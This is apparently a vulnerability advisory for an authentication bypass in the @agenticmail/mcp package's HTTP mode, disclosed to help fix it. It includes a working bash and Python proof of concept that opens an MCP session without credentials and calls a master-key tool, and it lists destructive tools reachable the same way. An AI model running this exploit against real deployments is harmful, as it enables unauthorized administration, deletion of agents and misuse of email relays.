PT-2026-48122 · Npm · @Agenticmail/Mcp

Published

2026-06-01

·

Updated

2026-06-01

·

CVE-2026-50287

None

No severity ratings or metrics are available. When they are, we'll update the corresponding info on the page.

AgenticMail MCP HTTP authorization bypass

Summary

@agenticmail/mcp exposes a Streamable HTTP transport when started with --http or MCP HTTP=1. In that mode, the /mcp endpoint accepts requests without any HTTP authentication layer. A remote client can initialize a session and call tools directly.
The problem is that the MCP server also exposes tools documented as requiring AGENTICMAIL MASTER KEY, and the server process forwards those calls using its own configured master key. As a result, any client that can reach the MCP HTTP port can invoke master-only operations without knowing the master key.

Impact

An unauthenticated network client can invoke master-key-only MCP tools through the server, including administrative and gateway actions.
Confirmed with a read-only tool:
  • setup guide
The same path reaches higher-impact tools such as:
  • setup email relay
  • setup email domain
  • delete agent
  • cleanup agents
  • send test email

Affected Code

  • packages/mcp/src/index.ts
  • packages/mcp/src/tools.ts
  • packages/mcp/README.md
Relevant observations:
  • packages/mcp/src/index.ts starts an HTTP server for /mcp without checking an Authorization header.
  • packages/mcp/src/tools.ts marks gateway/admin tools as master-key tools and forwards them with the server-side AGENTICMAIL MASTER KEY.
  • packages/mcp/README.md documents that gateway/admin tools require the master key.

Reproduction

Use the bundled one-command PoC runner:
cd agenticmail
./scripts/run agenticmail mcp http unauth poc.sh
Expected success output:
[+] received mcp-session-id without authentication: ...
[+] tools/call(setup guide) HTTP status: 200
[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup guide`

PoC Files

  • [scripts/run agenticmail mcp http unauth poc.sh](scripts/run agenticmail mcp http unauth poc.sh)
  • One-command wrapper that starts the API, starts MCP in HTTP mode, runs the client PoC, and cleans up background processes.
  • [scripts/agenticmail mcp http unauth poc.py](scripts/agenticmail mcp http unauth poc.py)
  • Unauthenticated MCP client that sends initialize and then calls setup guide.

Inline PoC

The following PoC is non-destructive. It calls setup guide, which is documented as a master-key tool but only returns setup guidance.

scripts/run agenticmail mcp http unauth poc.sh

#!/usr/bin/env bash
set -euo pipefail

REPO DIR="."
POC="scripts/agenticmail mcp http unauth poc.py"

API HOST="${API HOST:-127.0.0.1}"
API PORT="${API PORT:-}"
MCP PORT="${MCP PORT:-}"
MASTER KEY="${AGENTICMAIL MASTER KEY:-mk path4 poc master}"
DATA DIR="${AGENTICMAIL DATA DIR:-.poc-data}"
LOG DIR="${LOG DIR:-.poc-logs}"

mkdir -p "$DATA DIR" "$LOG DIR"

node major="$(node -p 'Number(process.versions.node.split(".")[0])' 2>/dev/null || echo 0)"
if (( node major < 20 )); then
 echo "[-] Node.js 20+ is required; current node is: $(node -v 2>/dev/null || echo missing)" >&2
 exit 2
fi

find free port() {
 python3 - <<'PY'
import socket
with socket.socket(socket.AF INET, socket.SOCK STREAM) as sock:
  sock.bind(("127.0.0.1", 0))
  print(sock.getsockname()[1])
PY
}

[[ -n "$API PORT" ]] || API PORT="$(find free port)"
[[ -n "$MCP PORT" ]] || MCP PORT="$(find free port)"

api pid=""
mcp pid=""
cleanup() {
 set +e
 [[ -z "${mcp pid:-}" ]] || kill "$mcp pid" 2>/dev/null || true
 [[ -z "${api pid:-}" ]] || kill "$api pid" 2>/dev/null || true
}
trap cleanup EXIT

wait tcp() {
 local host="$1"
 local port="$2"
 local name="$3"
 for  in $(seq 1 60); do
  if python3 - "$host" "$port" >/dev/null 2>&1 <<'PY'
import socket
import sys
sock = socket.socket(socket.AF INET, socket.SOCK STREAM)
sock.settimeout(1)
try:
  sock.connect((sys.argv[1], int(sys.argv[2])))
  sys.exit(0)
except Exception:
  sys.exit(1)
finally:
  sock.close()
PY
  then
   echo "[+] $name is listening: $host:$port"
   return 0
  fi
  sleep 1
 done
 echo "[-] Timed out waiting for $name: $host:$port" >&2
 return 1
}

cd "$REPO DIR"

echo "[+] Starting AgenticMail API on $API HOST:$API PORT"
(
 export AGENTICMAIL API HOST="$API HOST"
 export AGENTICMAIL API PORT="$API PORT"
 export AGENTICMAIL MASTER KEY="$MASTER KEY"
 export AGENTICMAIL DATA DIR="$DATA DIR"
 npm run dev:api
) >"$LOG DIR/api.log" 2>&1 &
api pid="$!"
wait tcp "$API HOST" "$API PORT" "AgenticMail API"

echo "[+] Starting AgenticMail MCP HTTP server on port $MCP PORT"
(
 export AGENTICMAIL API URL="http://$API HOST:$API PORT"
 export AGENTICMAIL MASTER KEY="$MASTER KEY"
 export AGENTICMAIL DATA DIR="$DATA DIR"
 npm --workspace=@agenticmail/mcp run dev -- --http "--port=$MCP PORT"
) >"$LOG DIR/mcp.log" 2>&1 &
mcp pid="$!"
wait tcp "127.0.0.1" "$MCP PORT" "AgenticMail MCP HTTP server"

echo "[+] Running unauthenticated MCP client PoC"
python3 "$POC" --url "http://127.0.0.1:$MCP PORT/mcp"

scripts/agenticmail mcp http unauth poc.py

#!/usr/bin/env python3
from  future  import annotations

import argparse
import json
import sys
import urllib.error
import urllib.request


def post json(url: str, payload: dict, session id: str | None = None) -> tuple[int, dict, str]:
  data = json.dumps(payload).encode("utf-8")
  headers = {
    "Content-Type": "application/json",
    "Accept": "application/json, text/event-stream",
  }
  if session id:
    headers["mcp-session-id"] = session id

  req = urllib.request.Request(url, data=data, headers=headers, method="POST")
  try:
    with urllib.request.urlopen(req, timeout=15) as resp:
      body = resp.read().decode("utf-8", errors="replace")
      return resp.status, dict(resp.headers), body
  except urllib.error.HTTPError as exc:
    body = exc.read().decode("utf-8", errors="replace")
    return exc.code, dict(exc.headers), body


def parse sse or json(body: str) -> list[dict]:
  events: list[dict] = []
  stripped = body.strip()
  if not stripped:
    return events
  if stripped.startswith("{") or stripped.startswith("["):
    parsed = json.loads(stripped)
    return parsed if isinstance(parsed, list) else [parsed]
  for line in body.splitlines():
    if not line.startswith("data:"):
      continue
    data = line[len("data:") :].strip()
    if not data:
      continue
    try:
      events.append(json.loads(data))
    except json.JSONDecodeError:
      pass
  return events


def main() -> int:
  parser = argparse.ArgumentParser()
  parser.add argument("--url", default="http://127.0.0.1:8014/mcp")
  parser.add argument("--tool", default="setup guide")
  args = parser.parse args()

  init payload = {
    "jsonrpc": "2.0",
    "id": 1,
    "method": "initialize",
    "params": {
      "protocolVersion": "2025-03-26",
      "capabilities": {},
      "clientInfo": {"name": "agenticmail-unauth-poc", "version": "0.1"},
    },
  }

  status, headers, body = post json(args.url, init payload)
  print(f"[+] initialize HTTP status: {status}")
  print(f"[+] initialize response body: {body[:500]}")
  session id = headers.get("mcp-session-id") or headers.get("Mcp-Session-Id")
  if not session id:
    print("[-] No mcp-session-id header returned")
    return 2
  print(f"[+] received mcp-session-id without authentication: {session id}")

  post json(args.url, {
    "jsonrpc": "2.0",
    "method": "notifications/initialized",
    "params": {},
  }, session id=session id)

  status, headers, body = post json(args.url, {
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/call",
    "params": {"name": args.tool, "arguments": {}},
  }, session id=session id)
  print(f"[+] tools/call({args.tool}) HTTP status: {status}")
  print("[+] raw response:")
  print(body)

  if any("result" in msg for msg in parse sse or json(body)):
    print(f"[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `{args.tool}`")
    return 0

  print("[-] Tool call did not return a result")
  return 1


if  name  == " main ":
  sys.exit(main())

Why This Is a Vulnerability

The project treats AGENTICMAIL MASTER KEY as the authorization boundary for administrative and gateway operations. HTTP MCP mode removes the client-side authentication boundary entirely, so an unauthenticated network client becomes an indirect caller of master-only API functionality.

Suggested Fix

  • Require authentication for HTTP MCP mode.
  • Bind the MCP HTTP server to 127.0.0.1 by default.
  • Reject /mcp requests that lack a valid bearer token or shared secret.
  • Disable master-key tools when the transport is unauthenticated.

Missing Authentication

Weakness Enumeration

Related Identifiers

CVE-2026-50287
GHSA-63GR-G7JC-V8RG

Affected Products

@Agenticmail/Mcp